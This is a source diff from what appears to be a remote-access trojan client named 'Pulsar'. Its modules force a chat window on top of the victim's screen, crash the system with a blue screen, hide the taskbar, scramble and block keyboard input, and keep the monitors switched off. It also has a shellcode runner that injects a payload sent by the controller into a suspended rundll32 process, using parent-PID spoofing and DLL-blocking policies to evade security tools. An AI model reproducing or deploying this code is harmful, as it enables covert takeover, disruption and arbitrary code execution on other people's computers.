<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>
+96
View File
@@ -0,0 +1,96 @@
namespace Pulsar.Client
{
partial class FrmRemoteChat
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.txtMessage = new System.Windows.Forms.TextBox();
this.Sendpacket = new System.Windows.Forms.Button();
this.txtMessages = new System.Windows.Forms.RichTextBox();
this.SuspendLayout();
//
// txtMessage
//
this.txtMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtMessage.Location = new System.Drawing.Point(12, 357);
this.txtMessage.Name = "txtMessage";
this.txtMessage.Size = new System.Drawing.Size(349, 20);
this.txtMessage.TabIndex = 0;
this.txtMessage.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtMessage_KeyDown);
//
// Sendpacket
//
this.Sendpacket.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.Sendpacket.Location = new System.Drawing.Point(367, 354);
this.Sendpacket.Name = "Sendpacket";
this.Sendpacket.Size = new System.Drawing.Size(75, 23);
this.Sendpacket.TabIndex = 1;
this.Sendpacket.Text = "Send";
this.Sendpacket.UseVisualStyleBackColor = true;
this.Sendpacket.Click += new System.EventHandler(this.Sendpacket_Click);
//
// txtMessages
//
this.txtMessages.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtMessages.Location = new System.Drawing.Point(12, 12);
this.txtMessages.Name = "txtMessages";
this.txtMessages.ReadOnly = true;
this.txtMessages.Size = new System.Drawing.Size(430, 339);
this.txtMessages.TabIndex = 2;
this.txtMessages.Text = "";
//
// FrmRemoteChat
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(454, 389);
this.Controls.Add(this.txtMessages);
this.Controls.Add(this.Sendpacket);
this.Controls.Add(this.txtMessage);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRemoteChat";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = "FrmRemoteChat";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteChat_FormClosed);
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteChat_FormClosing);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
public System.Windows.Forms.TextBox txtMessage;
private System.Windows.Forms.Button Sendpacket;
public System.Windows.Forms.RichTextBox txtMessages;
}
}
+162
View File
@@ -0,0 +1,162 @@
using Pulsar.Client.Utilities.DarkMode;
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client
{
public partial class FrmRemoteChat : Form
{
[DllImport("user32.dll")]
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr lpdwProcessId);
[DllImport("user32.dll")]
static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool BringWindowToTop(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
[DllImport("Kernel32.dll")]
public static extern uint GetCurrentThreadId();
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
private ISender _connectedClient;
public bool Active;
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
private const uint SWP_NOMOVE = 0x0002;
private const uint SWP_NOSIZE = 0x0001;
private const uint SWP_SHOWWINDOW = 0x0040;
public FrmRemoteChat(ISender client)
{
this._connectedClient = client;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
Active = true;
txtMessage.KeyDown += new KeyEventHandler(txtMessage_KeyDown); // Subscribe to the KeyDown event
}
protected override CreateParams CreateParams
{
get
{
var cp = base.CreateParams;
cp.ExStyle |= 0x80;
return cp;
}
}
public void AddMessage(string sender, string message)
{
txtMessages.AppendText(string.Format("{0} {1}: {2}{3}", DateTime.Now.ToString("HH:mm:ss"), sender, message, Environment.NewLine));
ForceFocus();
}
private void FrmRemoteChat_FormClosing(object sender, FormClosingEventArgs e)
{
// Allow the form to close
}
public void ForceFocus()
{
var fThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero);
var cThread = GetCurrentThreadId();
if (fThread != cThread)
{
AttachThreadInput(fThread, cThread, true);
BringWindowToTop(Handle);
AttachThreadInput(fThread, cThread, false);
}
else BringWindowToTop(Handle);
txtMessage.Focus();
}
private void FrmRemoteChat_Shown(object sender, EventArgs e)
{
txtMessage.Focus();
}
public string sendlol()
{
return txtMessage.Text.Trim();
}
public void SendMessageServer(ISender connectedClient, string message)
{
connectedClient.Send(new GetChat { Message = message });
}
private void txtMessage_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
e.SuppressKeyPress = true; // Prevents the ding sound on pressing enter
Sendpacket_Click(this, new EventArgs()); // Call the Send method
}
}
private void Sendpacket_Click(object sender, EventArgs e)
{
try
{
if (txtMessage.Text.Trim() != "")
{
SendMessageServer(_connectedClient, txtMessage.Text.Trim());
AddMessage("Me", txtMessage.Text.Trim());
txtMessage.Text = "";
txtMessage.Focus();
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private void FrmRemoteChat_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
AddMessage("System", "Chat has been ended.");
SendMessageServer(_connectedClient, "Chat has been ended.");
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
protected override void OnShown(EventArgs e)
{
base.OnShown(e);
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
const int WM_ACTIVATE = 0x0006;
const int WM_SHOWWINDOW = 0x0018;
if (m.Msg == WM_ACTIVATE || m.Msg == WM_SHOWWINDOW)
{
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.FunStuff
{
public class BSOD
{
[DllImport("ntdll.dll")]
private static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool Enabled);
[DllImport("ntdll.dll")]
private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
public unsafe void DOBSOD()
{
bool t1;
RtlAdjustPrivilege(19, true, false, out t1);
uint resp;
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out resp);
}
}
}
+23
View File
@@ -0,0 +1,23 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.FunStuff
{
public static class ChangeWallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
public static void SetWallpaper(string path)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentException("Path cannot be null or empty.", nameof(path));
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Pulsar.Client.FunStuff
{
public class HideTaskbar
{
private const int SW_HIDE = 0;
private const int SW_SHOW = 5;
[DllImport("user32.dll")]
private static extern int FindWindow(string className, string windowText);
[DllImport("user32.dll")]
private static extern int ShowWindow(int hwnd, int command);
public static void DoHideTaskbar()
{
int taskbarHandle = FindWindow("Shell_TrayWnd", "");
int startButtonHandle = FindWindow("Button", "Start");
if (taskbarHandle != 0)
{
int taskbarState = ShowWindow(taskbarHandle, SW_HIDE);
int startButtonState = ShowWindow(startButtonHandle, SW_HIDE);
if (taskbarState == 0 && startButtonState == 0)
{
ShowWindow(taskbarHandle, SW_SHOW);
ShowWindow(startButtonHandle, SW_SHOW);
}
}
}
}
}
+212
View File
@@ -0,0 +1,212 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
internal class KeyboardInput : IDisposable
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_SYSKEYDOWN = 0x0104;
private const int WM_SYSKEYUP = 0x0105;
private IntPtr _hookID = IntPtr.Zero;
private bool _isBlocked;
private readonly LowLevelKeyboardProc _hookProc;
private Random _rng = new Random();
private Thread _hookThread;
private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false);
public KeyboardInput()
{
_hookProc = HookCallback;
}
public bool IsKeyboardDisabled => _isBlocked;
public void EnableKeyboardBlock()
{
if (_isBlocked) return;
// Start the hook in a separate thread
_hookThread = new Thread(InstallHook)
{
Name = "KeyboardHookThread",
IsBackground = true
};
_hookThread.Start();
// Wait for hook to be installed
_hookReadyEvent.WaitOne(1000);
_isBlocked = true;
}
public void DisableKeyboardBlock()
{
if (!_isBlocked) return;
if (_hookID != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookID);
_hookID = IntPtr.Zero;
}
_hookThread?.Join(1000); // Wait for thread to finish
_hookThread = null;
_hookReadyEvent.Reset();
_isBlocked = false;
}
public void ToggleKeyboardBlock()
{
if (_isBlocked) DisableKeyboardBlock();
else EnableKeyboardBlock();
}
public void Handle(DoBlockKeyboardInput message)
{
if (message.Block) EnableKeyboardBlock();
else DisableKeyboardBlock();
}
private void InstallHook()
{
try
{
using (Process process = Process.GetCurrentProcess())
using (ProcessModule module = process.MainModule)
{
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc,
GetModuleHandle(module.ModuleName), 0);
}
if (_hookID == IntPtr.Zero)
{
throw new Exception("Failed to install keyboard hook");
}
_hookReadyEvent.Set(); // Signal that hook is ready
// Start message pump to keep the hook alive
Application.Run();
}
catch (Exception ex)
{
Console.WriteLine($"Hook thread error: {ex.Message}");
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && _isBlocked)
{
// Grab the key data
int vkCode = Marshal.ReadInt32(lParam);
// 1. Random key swap
if (_rng.NextDouble() < 0.5)
vkCode = _rng.Next(0x20, 0x7E); // random printable char
// 2. Simulate lag
Thread.Sleep(_rng.Next(100, 500)); // 100500ms random lag
// 3. Optionally inject fake key
if (_rng.NextDouble() < 0.3)
{
SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter
}
// 4. Swallow the original input
return (IntPtr)1;
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
private void SendKey(Keys key)
{
INPUT[] inputs = new INPUT[]
{
new INPUT
{
type = 1,
U = new InputUnion
{
ki = new KEYBDINPUT
{
wVk = (ushort)key,
dwFlags = 0
}
}
},
new INPUT
{
type = 1,
U = new InputUnion
{
ki = new KEYBDINPUT
{
wVk = (ushort)key,
dwFlags = 2 // KEYEVENTF_KEYUP
}
}
}
};
SendInput((uint)inputs.Length, inputs, INPUT.Size);
}
[StructLayout(LayoutKind.Sequential)]
private struct INPUT
{
public uint type;
public InputUnion U;
public static int Size => Marshal.SizeOf(typeof(INPUT));
}
[StructLayout(LayoutKind.Explicit)]
private struct InputUnion
{
[FieldOffset(0)] public KEYBDINPUT ki;
}
[StructLayout(LayoutKind.Sequential)]
private struct KEYBDINPUT
{
public ushort wVk;
public ushort wScan;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
[DllImport("user32.dll")]
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn,
IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public void Dispose()
{
DisableKeyboardBlock();
_hookReadyEvent?.Dispose();
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
}
}
+65
View File
@@ -0,0 +1,65 @@
using System;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class MonitorPower
{
private const int HWND_BROADCAST = 0xFFFF;
private const int WM_SYSCOMMAND = 0x0112;
private const int SC_MONITORPOWER = 0xF170;
private const int POWER_OFF = 2;
private const int POWER_ON = -1;
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
private Thread _monitorThread;
private bool _keepOff;
public void Handle(DoMonitorsOff message)
{
new Thread(() =>
{
try
{
if (message.Off)
{
_keepOff = true;
_monitorThread = new Thread(() =>
{
while (_keepOff)
{
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF);
Thread.Sleep(1000);
}
})
{
IsBackground = true
};
_monitorThread.Start();
}
else if (message.On)
{
_keepOff = false;
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON);
}
else
{
}
}
catch (Exception ex)
{
}
})
{
IsBackground = true
}.Start();
}
}
}
+26
View File
@@ -0,0 +1,26 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class CDTray
{
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback);
public void Handle(DoCDTray message)
{
try
{
string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed";
mciSendString(cmd, null, 0, IntPtr.Zero);
}
catch (Exception ex)
{
Console.WriteLine("CDTray error: " + ex.Message);
}
}
}
}
+381
View File
@@ -0,0 +1,381 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.FunStuff;
using Pulsar.Common.Networking;
namespace Pulsar.Client.FunStuff
{
internal class ShellcodeRunner
{
public void Handle(DoSendBinFile message, ISender client)
{
if (message?.Data == null || message.Data.Length == 0)
{
client.Send(new SetStatus { Message = "Error: Empty payload" });
return;
}
new Thread(() =>
{
try
{
CreateDedicatedProcess(message.Data, client);
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Error: {ex.Message}" });
}
})
{
IsBackground = true
}.Start();
}
private void CreateDedicatedProcess(byte[] shellcode, ISender client)
{
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
STARTUPINFOEX startupInfoEx = new STARTUPINFOEX();
startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx);
startupInfoEx.StartupInfo.dwFlags = 0x00000001;
startupInfoEx.StartupInfo.wShowWindow = 0;
client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." });
string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647";
// Get explorer.exe PID and directory for spoofing
var (parentPid, parentDirectory) = GetExplorerPidAndDirectory();
client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" });
client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" });
// Initialize attribute list
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}");
}
IntPtr parentProcessHandle = IntPtr.Zero;
IntPtr lpValueProc = IntPtr.Zero;
IntPtr lpMitigationPolicy = IntPtr.Zero;
try
{
// Set PPID spoofing
parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid);
if (parentProcessHandle == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}");
}
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentProcessHandle);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValueProc,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}");
}
// Set block non-Microsoft DLLs policy
lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
lpMitigationPolicy,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}");
}
// Create process with extended startup info and spoofed directory
success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
parentDirectory, // Use explorer.exe directory
ref startupInfoEx,
out procInfo);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateProcess failed: 0x{error:X8}");
}
// Continue with original shellcode injection logic
InjectShellcode(shellcode, client, procInfo);
}
finally
{
// Cleanup
if (startupInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList);
Marshal.FreeHGlobal(startupInfoEx.lpAttributeList);
}
if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc);
if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy);
if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle);
}
}
private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo)
{
IntPtr remoteMemory = IntPtr.Zero;
IntPtr remoteThread = IntPtr.Zero;
try
{
client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" });
remoteMemory = VirtualAllocEx(
procInfo.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
AllocationType.COMMIT | AllocationType.RESERVE,
MemoryProtection.EXECUTE_READWRITE);
if (remoteMemory == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"VirtualAllocEx failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" });
uint bytesWritten = 0;
if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten))
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes");
}
client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" });
remoteThread = CreateRemoteThread(
procInfo.hProcess,
IntPtr.Zero,
0,
remoteMemory,
IntPtr.Zero,
0,
out uint shellcodeThreadId);
if (remoteThread == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateRemoteThread failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" });
ResumeThread(procInfo.hThread);
CloseHandle(remoteThread);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" });
}
catch
{
if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
throw;
}
}
private (uint pid, string directory) GetExplorerPidAndDirectory()
{
Process[] explorerProcesses = Process.GetProcessesByName("explorer");
if (explorerProcesses.Length > 0)
{
var explorer = explorerProcesses[0];
string directory;
try
{
// Try to get the actual working directory of explorer.exe
directory = Path.GetDirectoryName(explorer.MainModule.FileName);
if (string.IsNullOrEmpty(directory))
{
// Fallback to Windows directory
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
}
catch
{
// Fallback to Windows directory if we can't access the process
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
return ((uint)explorer.Id, directory);
}
throw new Exception("No explorer.exe process found for PPID spoofing");
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
